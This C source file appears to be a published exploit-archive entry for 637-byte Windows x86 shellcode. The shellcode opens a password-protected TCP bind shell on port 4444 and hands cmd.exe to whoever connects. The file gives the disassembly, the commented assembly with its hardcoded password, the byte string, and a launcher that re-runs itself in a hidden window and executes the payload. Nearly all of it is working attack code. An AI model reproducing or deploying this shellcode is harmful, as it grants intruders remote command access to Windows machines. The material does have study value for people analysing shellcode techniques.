736 lines
No EOL
19 KiB
C
736 lines
No EOL
19 KiB
C
/*
|
|
# Title : Windows x86 password protected bind shell tcp shellcode
|
|
# Date : 12-09-2016
|
|
# Author : Roziul Hasan Khan Shifat
|
|
# size : 637 bytes
|
|
# Tested On : Windows 7 ultimate x86 x64
|
|
# Email : shifath12@gmail.com
|
|
*/
|
|
|
|
/*
|
|
Disassembly of section .text:
|
|
|
|
00000000 <_start>:
|
|
0: 99 cltd
|
|
1: 64 8b 42 30 mov %fs:0x30(%edx),%eax
|
|
5: 8b 40 0c mov 0xc(%eax),%eax
|
|
8: 8b 70 14 mov 0x14(%eax),%esi
|
|
b: ad lods %ds:(%esi),%eax
|
|
c: 96 xchg %eax,%esi
|
|
d: ad lods %ds:(%esi),%eax
|
|
e: 8b 78 10 mov 0x10(%eax),%edi
|
|
11: 8b 5f 3c mov 0x3c(%edi),%ebx
|
|
14: 01 fb add %edi,%ebx
|
|
16: 8b 5b 78 mov 0x78(%ebx),%ebx
|
|
19: 01 fb add %edi,%ebx
|
|
1b: 8b 73 20 mov 0x20(%ebx),%esi
|
|
1e: 01 fe add %edi,%esi
|
|
|
|
00000020 <g>:
|
|
20: 42 inc %edx
|
|
21: ad lods %ds:(%esi),%eax
|
|
22: 01 f8 add %edi,%eax
|
|
24: 81 38 47 65 74 50 cmpl $0x50746547,(%eax)
|
|
2a: 75 f4 jne 20 <g>
|
|
2c: 81 78 04 72 6f 63 41 cmpl $0x41636f72,0x4(%eax)
|
|
33: 75 eb jne 20 <g>
|
|
35: 81 78 08 64 64 72 65 cmpl $0x65726464,0x8(%eax)
|
|
3c: 75 e2 jne 20 <g>
|
|
3e: 8b 73 1c mov 0x1c(%ebx),%esi
|
|
41: 01 fe add %edi,%esi
|
|
43: 8b 0c 96 mov (%esi,%edx,4),%ecx
|
|
46: 01 f9 add %edi,%ecx
|
|
48: 83 ec 50 sub $0x50,%esp
|
|
4b: 8d 34 24 lea (%esp),%esi
|
|
4e: 89 0e mov %ecx,(%esi)
|
|
50: 99 cltd
|
|
51: 68 73 41 41 41 push $0x41414173
|
|
56: 88 54 24 02 mov %dl,0x2(%esp)
|
|
5a: 68 6f 63 65 73 push $0x7365636f
|
|
5f: 68 74 65 50 72 push $0x72506574
|
|
64: 68 43 72 65 61 push $0x61657243
|
|
69: 8d 14 24 lea (%esp),%edx
|
|
6c: 52 push %edx
|
|
6d: 57 push %edi
|
|
6e: ff d1 call *%ecx
|
|
70: 83 c4 10 add $0x10,%esp
|
|
73: 89 46 04 mov %eax,0x4(%esi)
|
|
76: 99 cltd
|
|
77: 68 65 73 73 41 push $0x41737365
|
|
7c: 88 54 24 03 mov %dl,0x3(%esp)
|
|
80: 68 50 72 6f 63 push $0x636f7250
|
|
85: 68 45 78 69 74 push $0x74697845
|
|
8a: 8d 14 24 lea (%esp),%edx
|
|
8d: 52 push %edx
|
|
8e: 57 push %edi
|
|
8f: ff 16 call *(%esi)
|
|
91: 83 c4 0c add $0xc,%esp
|
|
94: 89 46 08 mov %eax,0x8(%esi)
|
|
97: 99 cltd
|
|
98: 52 push %edx
|
|
99: 68 61 72 79 41 push $0x41797261
|
|
9e: 68 4c 69 62 72 push $0x7262694c
|
|
a3: 68 4c 6f 61 64 push $0x64616f4c
|
|
a8: 8d 14 24 lea (%esp),%edx
|
|
ab: 52 push %edx
|
|
ac: 57 push %edi
|
|
ad: ff 16 call *(%esi)
|
|
af: 83 c4 0c add $0xc,%esp
|
|
b2: 99 cltd
|
|
b3: 68 6c 6c 6c 6c push $0x6c6c6c6c
|
|
b8: 88 54 24 02 mov %dl,0x2(%esp)
|
|
bc: 68 33 32 2e 64 push $0x642e3233
|
|
c1: 68 77 73 32 5f push $0x5f327377
|
|
c6: 8d 14 24 lea (%esp),%edx
|
|
c9: 52 push %edx
|
|
ca: ff d0 call *%eax
|
|
cc: 83 c4 0c add $0xc,%esp
|
|
cf: 97 xchg %eax,%edi
|
|
d0: 8b 5f 3c mov 0x3c(%edi),%ebx
|
|
d3: 01 fb add %edi,%ebx
|
|
d5: 8b 5b 78 mov 0x78(%ebx),%ebx
|
|
d8: 01 fb add %edi,%ebx
|
|
da: 8b 5b 1c mov 0x1c(%ebx),%ebx
|
|
dd: 01 fb add %edi,%ebx
|
|
df: 99 cltd
|
|
e0: 66 ba c8 01 mov $0x1c8,%dx
|
|
e4: 8b 04 13 mov (%ebx,%edx,1),%eax
|
|
e7: 01 f8 add %edi,%eax
|
|
e9: 89 46 0c mov %eax,0xc(%esi)
|
|
ec: 8b 43 50 mov 0x50(%ebx),%eax
|
|
ef: 01 f8 add %edi,%eax
|
|
f1: 89 46 10 mov %eax,0x10(%esi)
|
|
f4: 8b 43 04 mov 0x4(%ebx),%eax
|
|
f7: 01 f8 add %edi,%eax
|
|
f9: 89 46 14 mov %eax,0x14(%esi)
|
|
fc: 8b 03 mov (%ebx),%eax
|
|
fe: 01 f8 add %edi,%eax
|
|
100: 89 46 18 mov %eax,0x18(%esi)
|
|
103: 8b 43 30 mov 0x30(%ebx),%eax
|
|
106: 01 f8 add %edi,%eax
|
|
108: 89 46 1c mov %eax,0x1c(%esi)
|
|
10b: 8b 43 08 mov 0x8(%ebx),%eax
|
|
10e: 01 f8 add %edi,%eax
|
|
110: 89 46 20 mov %eax,0x20(%esi)
|
|
113: 8b 43 3c mov 0x3c(%ebx),%eax
|
|
116: 01 f8 add %edi,%eax
|
|
118: 89 46 24 mov %eax,0x24(%esi)
|
|
11b: 66 ba 88 01 mov $0x188,%dx
|
|
11f: 8b 04 13 mov (%ebx,%edx,1),%eax
|
|
122: 01 f8 add %edi,%eax
|
|
124: 89 46 28 mov %eax,0x28(%esi)
|
|
127: 8b 43 48 mov 0x48(%ebx),%eax
|
|
12a: 01 f8 add %edi,%eax
|
|
12c: 89 46 2c mov %eax,0x2c(%esi)
|
|
12f: 99 cltd
|
|
130: 8d 4e 30 lea 0x30(%esi),%ecx
|
|
133: c6 01 02 movb $0x2,(%ecx)
|
|
136: 66 c7 41 02 11 5c movw $0x5c11,0x2(%ecx)
|
|
13c: 89 51 04 mov %edx,0x4(%ecx)
|
|
13f: 89 51 08 mov %edx,0x8(%ecx)
|
|
142: 89 51 0c mov %edx,0xc(%ecx)
|
|
145: 8d 4e 40 lea 0x40(%esi),%ecx
|
|
148: c7 01 45 6e 74 65 movl $0x65746e45,(%ecx)
|
|
14e: c7 41 04 72 20 70 61 movl $0x61702072,0x4(%ecx)
|
|
155: c7 41 08 73 73 20 63 movl $0x63207373,0x8(%ecx)
|
|
15c: c7 41 0c 6f 64 65 3a movl $0x3a65646f,0xc(%ecx)
|
|
163: 99 cltd
|
|
164: 66 ba 90 01 mov $0x190,%dx
|
|
168: 29 d4 sub %edx,%esp
|
|
16a: 8d 0c 24 lea (%esp),%ecx
|
|
16d: 83 c2 72 add $0x72,%edx
|
|
170: 51 push %ecx
|
|
171: 52 push %edx
|
|
172: ff 56 0c call *0xc(%esi)
|
|
175: 99 cltd
|
|
176: 52 push %edx
|
|
177: 52 push %edx
|
|
178: 52 push %edx
|
|
179: b2 06 mov $0x6,%dl
|
|
17b: 52 push %edx
|
|
17c: 99 cltd
|
|
17d: 42 inc %edx
|
|
17e: 52 push %edx
|
|
17f: 42 inc %edx
|
|
180: 52 push %edx
|
|
181: ff 56 28 call *0x28(%esi)
|
|
184: 97 xchg %eax,%edi
|
|
185: 99 cltd
|
|
186: 42 inc %edx
|
|
187: 52 push %edx
|
|
188: 8d 0c 24 lea (%esp),%ecx
|
|
18b: 42 inc %edx
|
|
18c: 52 push %edx
|
|
18d: 51 push %ecx
|
|
18e: 83 c2 02 add $0x2,%edx
|
|
191: 52 push %edx
|
|
192: 99 cltd
|
|
193: 66 ba ff ff mov $0xffff,%dx
|
|
197: 52 push %edx
|
|
198: 57 push %edi
|
|
199: ff 56 10 call *0x10(%esi)
|
|
19c: 99 cltd
|
|
19d: b2 10 mov $0x10,%dl
|
|
19f: 52 push %edx
|
|
1a0: 8d 4e 30 lea 0x30(%esi),%ecx
|
|
1a3: 52 push %edx
|
|
1a4: 51 push %ecx
|
|
1a5: 57 push %edi
|
|
1a6: ff 56 14 call *0x14(%esi)
|
|
1a9: 99 cltd
|
|
1aa: 42 inc %edx
|
|
1ab: 52 push %edx
|
|
1ac: 57 push %edi
|
|
1ad: ff 56 1c call *0x1c(%esi)
|
|
1b0: 99 cltd
|
|
1b1: 8d 5e 30 lea 0x30(%esi),%ebx
|
|
1b4: 89 13 mov %edx,(%ebx)
|
|
1b6: 89 53 04 mov %edx,0x4(%ebx)
|
|
1b9: 89 53 08 mov %edx,0x8(%ebx)
|
|
1bc: 89 53 0c mov %edx,0xc(%ebx)
|
|
|
|
000001bf <a>:
|
|
1bf: 99 cltd
|
|
1c0: b2 10 mov $0x10,%dl
|
|
1c2: 52 push %edx
|
|
1c3: 8d 0c 24 lea (%esp),%ecx
|
|
1c6: 8d 5e 30 lea 0x30(%esi),%ebx
|
|
1c9: 51 push %ecx
|
|
1ca: 53 push %ebx
|
|
1cb: 57 push %edi
|
|
1cc: ff 56 18 call *0x18(%esi)
|
|
1cf: 99 cltd
|
|
1d0: 50 push %eax
|
|
1d1: 52 push %edx
|
|
1d2: b2 10 mov $0x10,%dl
|
|
1d4: 52 push %edx
|
|
1d5: 8d 4e 40 lea 0x40(%esi),%ecx
|
|
1d8: 51 push %ecx
|
|
1d9: 50 push %eax
|
|
1da: ff 56 2c call *0x2c(%esi)
|
|
1dd: 58 pop %eax
|
|
1de: 89 c3 mov %eax,%ebx
|
|
1e0: 99 cltd
|
|
1e1: 52 push %edx
|
|
1e2: b2 10 mov $0x10,%dl
|
|
1e4: 52 push %edx
|
|
1e5: 8d 4e 40 lea 0x40(%esi),%ecx
|
|
1e8: 51 push %ecx
|
|
1e9: 50 push %eax
|
|
1ea: ff 56 24 call *0x24(%esi)
|
|
1ed: 8d 4e 40 lea 0x40(%esi),%ecx
|
|
1f0: 81 39 64 61 6d 6e cmpl $0x6e6d6164,(%ecx)
|
|
1f6: 75 5e jne 256 <kick_out>
|
|
1f8: 81 79 04 5f 69 74 21 cmpl $0x2174695f,0x4(%ecx)
|
|
1ff: 75 55 jne 256 <kick_out>
|
|
201: 81 79 08 24 24 23 23 cmpl $0x23232424,0x8(%ecx)
|
|
208: 75 4c jne 256 <kick_out>
|
|
20a: 81 79 0c 40 3b 2a 23 cmpl $0x232a3b40,0xc(%ecx)
|
|
211: 75 43 jne 256 <kick_out>
|
|
213: 89 df mov %ebx,%edi
|
|
215: 83 ec 10 sub $0x10,%esp
|
|
218: 8d 1c 24 lea (%esp),%ebx
|
|
21b: 99 cltd
|
|
21c: 57 push %edi
|
|
21d: 57 push %edi
|
|
21e: 57 push %edi
|
|
21f: 52 push %edx
|
|
220: 52 push %edx
|
|
221: b2 ff mov $0xff,%dl
|
|
223: 42 inc %edx
|
|
224: 52 push %edx
|
|
225: 99 cltd
|
|
226: 52 push %edx
|
|
227: 52 push %edx
|
|
228: 52 push %edx
|
|
229: 52 push %edx
|
|
22a: 52 push %edx
|
|
22b: 52 push %edx
|
|
22c: 52 push %edx
|
|
22d: 52 push %edx
|
|
22e: 52 push %edx
|
|
22f: 52 push %edx
|
|
230: b2 44 mov $0x44,%dl
|
|
232: 52 push %edx
|
|
233: 8d 0c 24 lea (%esp),%ecx
|
|
236: 99 cltd
|
|
237: 68 63 6d 64 41 push $0x41646d63
|
|
23c: 88 54 24 03 mov %dl,0x3(%esp)
|
|
240: 8d 04 24 lea (%esp),%eax
|
|
243: 53 push %ebx
|
|
244: 51 push %ecx
|
|
245: 52 push %edx
|
|
246: 52 push %edx
|
|
247: 52 push %edx
|
|
248: 42 inc %edx
|
|
249: 52 push %edx
|
|
24a: 99 cltd
|
|
24b: 52 push %edx
|
|
24c: 52 push %edx
|
|
24d: 50 push %eax
|
|
24e: 52 push %edx
|
|
24f: ff 56 04 call *0x4(%esi)
|
|
252: 50 push %eax
|
|
253: ff 56 08 call *0x8(%esi)
|
|
|
|
00000256 <kick_out>:
|
|
256: 53 push %ebx
|
|
257: ff 56 20 call *0x20(%esi)
|
|
25a: 8d 4e 40 lea 0x40(%esi),%ecx
|
|
25d: c7 01 45 6e 74 65 movl $0x65746e45,(%ecx)
|
|
263: c7 41 04 72 20 70 61 movl $0x61702072,0x4(%ecx)
|
|
26a: c7 41 08 73 73 20 63 movl $0x63207373,0x8(%ecx)
|
|
271: c7 41 0c 6f 64 65 3a movl $0x3a65646f,0xc(%ecx)
|
|
278: e9 42 ff ff ff jmp 1bf <a>
|
|
*/
|
|
|
|
|
|
/*
|
|
section .text
|
|
global _start
|
|
_start:
|
|
|
|
cdq
|
|
mov eax,[fs:edx+0x30] ;PEB
|
|
mov eax,[eax+0xc] ;PEB.Ldr
|
|
mov esi,[eax+0x14] ;PEB.Ldr->InMemOrderModuleList
|
|
lodsd
|
|
xchg esi,eax
|
|
lodsd
|
|
mov edi,[eax+0x10] ;kernel32.dll base address
|
|
|
|
mov ebx,[edi+0x3c]
|
|
add ebx,edi
|
|
mov ebx,[ebx+0x78]
|
|
add ebx,edi
|
|
|
|
mov esi,[ebx+0x20]
|
|
add esi,edi
|
|
|
|
g:
|
|
inc edx
|
|
lodsd
|
|
add eax,edi
|
|
cmp dword [eax],'GetP'
|
|
jne g
|
|
cmp dword [eax+4],'rocA'
|
|
jne g
|
|
cmp dword [eax+8],'ddre'
|
|
jne g
|
|
|
|
mov esi,[ebx+0x1c]
|
|
add esi,edi
|
|
|
|
mov ecx,[esi+edx*4]
|
|
add ecx,edi
|
|
|
|
sub esp,80
|
|
lea esi,[esp]
|
|
|
|
mov [esi],dword ecx ;GetProcAddress() 0
|
|
|
|
;-----------------------
|
|
;address CreateProcessA()
|
|
|
|
cdq
|
|
push 0x41414173
|
|
mov [esp+2],byte dl
|
|
push 0x7365636f
|
|
push 0x72506574
|
|
push 0x61657243
|
|
|
|
lea edx,[esp]
|
|
|
|
push edx
|
|
push edi
|
|
|
|
call ecx
|
|
|
|
;----------------------
|
|
add esp,16
|
|
mov [esi+4],dword eax ;CreateProcessA() 4
|
|
;-------------------------------
|
|
;address ExitProcess()
|
|
cdq
|
|
push 0x41737365
|
|
mov [esp+3],byte dl
|
|
push 0x636f7250
|
|
push 0x74697845
|
|
|
|
lea edx,[esp]
|
|
|
|
push edx
|
|
push edi
|
|
|
|
call [esi]
|
|
|
|
;-------------------------------
|
|
add esp,12
|
|
mov [esi+8],dword eax ;ExitProcess() 8
|
|
;----------------------------------
|
|
cdq
|
|
push edx
|
|
push 0x41797261
|
|
push 0x7262694c
|
|
push 0x64616f4c
|
|
lea edx,[esp]
|
|
push edx
|
|
push edi
|
|
|
|
call [esi]
|
|
|
|
add esp,12
|
|
;------------------------
|
|
;loading ws2_32.dll
|
|
cdq
|
|
push 0x6c6c6c6c
|
|
mov [esp+2],byte dl
|
|
push 0x642e3233
|
|
push 0x5f327377
|
|
|
|
lea edx,[esp]
|
|
push edx
|
|
|
|
|
|
call eax
|
|
|
|
;---------------------------------
|
|
add esp,12
|
|
|
|
xchg edi,eax
|
|
|
|
|
|
mov ebx,[edi+0x3c]
|
|
add ebx,edi
|
|
mov ebx,[ebx+0x78]
|
|
add ebx,edi
|
|
|
|
mov ebx,[ebx+0x1c]
|
|
add ebx,edi
|
|
|
|
cdq
|
|
mov dx,456
|
|
|
|
mov eax,[ebx+edx]
|
|
add eax,edi
|
|
|
|
mov [esi+12],dword eax ;WSAStartup() 12
|
|
|
|
mov eax,[ebx+80]
|
|
add eax,edi
|
|
|
|
mov [esi+16],dword eax ;setsockopt() 16
|
|
|
|
mov eax,[ebx+4]
|
|
add eax,edi
|
|
|
|
mov [esi+20],dword eax ;bind() 20
|
|
|
|
mov eax,[ebx]
|
|
add eax,edi
|
|
|
|
mov [esi+24],dword eax ;accept() 24
|
|
|
|
mov eax,[ebx+48]
|
|
add eax,edi
|
|
|
|
mov [esi+28],dword eax ;listen() 28
|
|
|
|
mov eax,[ebx+8]
|
|
add eax,edi
|
|
|
|
mov [esi+32],dword eax ;closesocket() 32
|
|
|
|
mov eax,[ebx+60]
|
|
add eax,edi
|
|
|
|
mov [esi+36],dword eax ;recv() 36
|
|
|
|
mov dx,392
|
|
mov eax,[ebx+edx]
|
|
add eax,edi
|
|
|
|
mov [esi+40],dword eax ;WSASocketA() 40
|
|
|
|
|
|
|
|
mov eax,[ebx+72]
|
|
add eax,edi
|
|
|
|
mov [esi+44],dword eax ;send() 44
|
|
|
|
;---------------------------------
|
|
cdq
|
|
lea ecx,[esi+48]
|
|
mov [ecx],byte 2
|
|
mov [ecx+2],word 0x5c11
|
|
mov [ecx+4],edx
|
|
mov [ecx+8],edx
|
|
mov [ecx+12],edx
|
|
|
|
lea ecx,[esi+64]
|
|
mov [ecx],dword 'Ente'
|
|
mov [ecx+4],dword 'r pa'
|
|
mov [ecx+8],dword 'ss c'
|
|
mov [ecx+12],dword 'ode:'
|
|
|
|
;-----------------------------------
|
|
|
|
;WSAStartup(514,&WSADATA)
|
|
|
|
cdq
|
|
mov dx,400
|
|
sub esp,edx
|
|
lea ecx,[esp]
|
|
add edx,114
|
|
|
|
push ecx
|
|
push edx
|
|
|
|
call [esi+12]
|
|
|
|
;--------------------------------
|
|
;---------------------------
|
|
;;WSASocketA(2,1,6,0,0,0)
|
|
cdq
|
|
|
|
push edx
|
|
push edx
|
|
push edx
|
|
mov dl,6
|
|
push edx
|
|
cdq
|
|
inc edx
|
|
push edx
|
|
inc edx
|
|
push edx
|
|
|
|
call [esi+40]
|
|
|
|
xchg edi,eax ;SOCKET
|
|
;-------------------------------------
|
|
;setsockopt(SOCKET,0xffff,4,&1,2)
|
|
cdq
|
|
inc edx
|
|
push edx
|
|
lea ecx,[esp]
|
|
|
|
inc edx
|
|
push edx
|
|
push ecx
|
|
add edx,2
|
|
push edx
|
|
cdq
|
|
mov dx,0xffff
|
|
push edx
|
|
push edi
|
|
|
|
call [esi+16]
|
|
;----------------------
|
|
;bind(SOCKET,(struct sockaddr *)&struct sockaddr_in,16)
|
|
|
|
cdq
|
|
mov dl,16
|
|
push edx
|
|
lea ecx,[esi+48]
|
|
|
|
push edx
|
|
push ecx
|
|
push edi
|
|
|
|
call [esi+20]
|
|
;----------------------------
|
|
;listen(SOCKET,1)
|
|
cdq
|
|
inc edx
|
|
push edx
|
|
push edi
|
|
|
|
call [esi+28]
|
|
|
|
|
|
cdq
|
|
lea ebx,[esi+48]
|
|
|
|
mov [ebx],edx
|
|
mov [ebx+4],edx
|
|
mov [ebx+8],edx
|
|
mov [ebx+12],edx
|
|
|
|
|
|
|
|
|
|
|
|
a:
|
|
;-----------------------------
|
|
;accept(SOCKET,(struct sockaddr *)&struct sockaddr_in,&16)
|
|
cdq
|
|
mov dl,16
|
|
push edx
|
|
lea ecx,[esp]
|
|
lea ebx,[esi+48]
|
|
|
|
push ecx
|
|
push ebx
|
|
push edi
|
|
|
|
call [esi+24]
|
|
;---------------------------------
|
|
;send(SOCKET,char *a[],16,0)
|
|
cdq
|
|
|
|
push eax
|
|
|
|
push edx
|
|
mov dl,16
|
|
push edx
|
|
lea ecx,[esi+64]
|
|
push ecx
|
|
push eax
|
|
|
|
call [esi+44]
|
|
;-----------------------
|
|
pop eax
|
|
|
|
;recv(SOCKET,char *a[],16,0)
|
|
mov ebx,eax
|
|
|
|
cdq
|
|
push edx
|
|
mov dl,16
|
|
push edx
|
|
lea ecx,[esi+64]
|
|
push ecx
|
|
push eax
|
|
|
|
call [esi+36]
|
|
;----------------------------------
|
|
|
|
lea ecx,[esi+64]
|
|
|
|
cmp dword [ecx],'damn'
|
|
jne kick_out
|
|
cmp dword [ecx+4],'_it!'
|
|
jne kick_out
|
|
cmp dword [ecx+8],'$$##'
|
|
jne kick_out
|
|
cmp dword [ecx+12],'@;*#'
|
|
jne kick_out
|
|
|
|
;password-> damn_it!$$##@;*#
|
|
|
|
|
|
mov edi,ebx
|
|
sub esp,16
|
|
lea ebx,[esp]
|
|
|
|
cdq
|
|
push edi
|
|
push edi
|
|
push edi
|
|
|
|
push edx
|
|
push edx
|
|
|
|
mov dl,255
|
|
inc edx
|
|
push edx
|
|
cdq
|
|
|
|
push edx
|
|
push edx
|
|
push edx
|
|
push edx
|
|
push edx
|
|
|
|
push edx
|
|
push edx
|
|
push edx
|
|
push edx
|
|
push edx
|
|
|
|
mov dl,68
|
|
push edx
|
|
lea ecx,[esp]
|
|
|
|
cdq
|
|
|
|
push 'cmdA'
|
|
mov [esp+3],byte dl
|
|
lea eax,[esp]
|
|
|
|
;-------------------------------------------------
|
|
push ebx
|
|
push ecx
|
|
|
|
push edx
|
|
push edx
|
|
push edx
|
|
|
|
inc edx
|
|
push edx
|
|
cdq
|
|
|
|
push edx
|
|
push edx
|
|
|
|
push eax
|
|
push edx
|
|
|
|
call [esi+4]
|
|
push eax
|
|
call [esi+8]
|
|
|
|
|
|
|
|
kick_out:
|
|
push ebx
|
|
call [esi+32]
|
|
|
|
lea ecx,[esi+64]
|
|
mov [ecx],dword 'Ente'
|
|
mov [ecx+4],dword 'r pa'
|
|
mov [ecx+8],dword 'ss c'
|
|
mov [ecx+12],dword 'ode:'
|
|
|
|
jmp a
|
|
*/
|
|
|
|
|
|
|
|
#include<windows.h>
|
|
#include<stdio.h>
|
|
#include<shellapi.h>
|
|
#include<stdlib.h>
|
|
|
|
char shellcode[]="\x99\x64\x8b\x42\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x78\x10\x8b\x5f\x3c\x01\xfb\x8b\x5b\x78\x01\xfb\x8b\x73\x20\x01\xfe\x42\xad\x01\xf8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xfe\x8b\x0c\x96\x01\xf9\x83\xec\x50\x8d\x34\x24\x89\x0e\x99\x68\x73\x41\x41\x41\x88\x54\x24\x02\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x8d\x14\x24\x52\x57\xff\xd1\x83\xc4\x10\x89\x46\x04\x99\x68\x65\x73\x73\x41\x88\x54\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x8d\x14\x24\x52\x57\xff\x16\x83\xc4\x0c\x89\x46\x08\x99\x52\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x8d\x14\x24\x52\x57\xff\x16\x83\xc4\x0c\x99\x68\x6c\x6c\x6c\x6c\x88\x54\x24\x02\x68\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x8d\x14\x24\x52\xff\xd0\x83\xc4\x0c\x97\x8b\x5f\x3c\x01\xfb\x8b\x5b\x78\x01\xfb\x8b\x5b\x1c\x01\xfb\x99\x66\xba\xc8\x01\x8b\x04\x13\x01\xf8\x89\x46\x0c\x8b\x43\x50\x01\xf8\x89\x46\x10\x8b\x43\x04\x01\xf8\x89\x46\x14\x8b\x03\x01\xf8\x89\x46\x18\x8b\x43\x30\x01\xf8\x89\x46\x1c\x8b\x43\x08\x01\xf8\x89\x46\x20\x8b\x43\x3c\x01\xf8\x89\x46\x24\x66\xba\x88\x01\x8b\x04\x13\x01\xf8\x89\x46\x28\x8b\x43\x48\x01\xf8\x89\x46\x2c\x99\x8d\x4e\x30\xc6\x01\x02\x66\xc7\x41\x02\x11\x5c\x89\x51\x04\x89\x51\x08\x89\x51\x0c\x8d\x4e\x40\xc7\x01\x45\x6e\x74\x65\xc7\x41\x04\x72\x20\x70\x61\xc7\x41\x08\x73\x73\x20\x63\xc7\x41\x0c\x6f\x64\x65\x3a\x99\x66\xba\x90\x01\x29\xd4\x8d\x0c\x24\x83\xc2\x72\x51\x52\xff\x56\x0c\x99\x52\x52\x52\xb2\x06\x52\x99\x42\x52\x42\x52\xff\x56\x28\x97\x99\x42\x52\x8d\x0c\x24\x42\x52\x51\x83\xc2\x02\x52\x99\x66\xba\xff\xff\x52\x57\xff\x56\x10\x99\xb2\x10\x52\x8d\x4e\x30\x52\x51\x57\xff\x56\x14\x99\x42\x52\x57\xff\x56\x1c\x99\x8d\x5e\x30\x89\x13\x89\x53\x04\x89\x53\x08\x89\x53\x0c\x99\xb2\x10\x52\x8d\x0c\x24\x8d\x5e\x30\x51\x53\x57\xff\x56\x18\x99\x50\x52\xb2\x10\x52\x8d\x4e\x40\x51\x50\xff\x56\x2c\x58\x89\xc3\x99\x52\xb2\x10\x52\x8d\x4e\x40\x51\x50\xff\x56\x24\x8d\x4e\x40\x81\x39\x64\x61\x6d\x6e\x75\x5e\x81\x79\x04\x5f\x69\x74\x21\x75\x55\x81\x79\x08\x24\x24\x23\x23\x75\x4c\x81\x79\x0c\x40\x3b\x2a\x23\x75\x43\x89\xdf\x83\xec\x10\x8d\x1c\x24\x99\x57\x57\x57\x52\x52\xb2\xff\x42\x52\x99\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\xb2\x44\x52\x8d\x0c\x24\x99\x68\x63\x6d\x64\x41\x88\x54\x24\x03\x8d\x04\x24\x53\x51\x52\x52\x52\x42\x52\x99\x52\x52\x50\x52\xff\x56\x04\x50\xff\x56\x08\x53\xff\x56\x20\x8d\x4e\x40\xc7\x01\x45\x6e\x74\x65\xc7\x41\x04\x72\x20\x70\x61\xc7\x41\x08\x73\x73\x20\x63\xc7\x41\x0c\x6f\x64\x65\x3a\xe9\x42\xff\xff\xff";
|
|
|
|
int main(int i,char *a[])
|
|
{
|
|
|
|
int mode;
|
|
|
|
|
|
|
|
if(i==1)
|
|
mode=1;
|
|
else
|
|
mode=atoi(a[1]);
|
|
|
|
switch(mode)
|
|
{
|
|
|
|
|
|
case 78:
|
|
(* (int(*)())shellcode )();
|
|
break;
|
|
|
|
case 1:
|
|
ShellExecute(NULL,NULL,a[0],"78",NULL,0);
|
|
default:
|
|
break;
|
|
}
|
|
|
|
|
|
return 0;
|
|
} |